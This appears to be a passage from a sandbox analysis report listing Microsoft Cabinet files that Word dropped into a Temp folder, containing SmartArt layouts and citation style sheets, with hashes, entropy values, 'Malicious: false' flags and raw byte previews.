SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cab592C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cab594F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cab5950.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cab5951.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cab5952.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cab5953.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cab5954.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cab5955.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cab5966.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cab5967.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cab596A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cab597C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cab597D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... 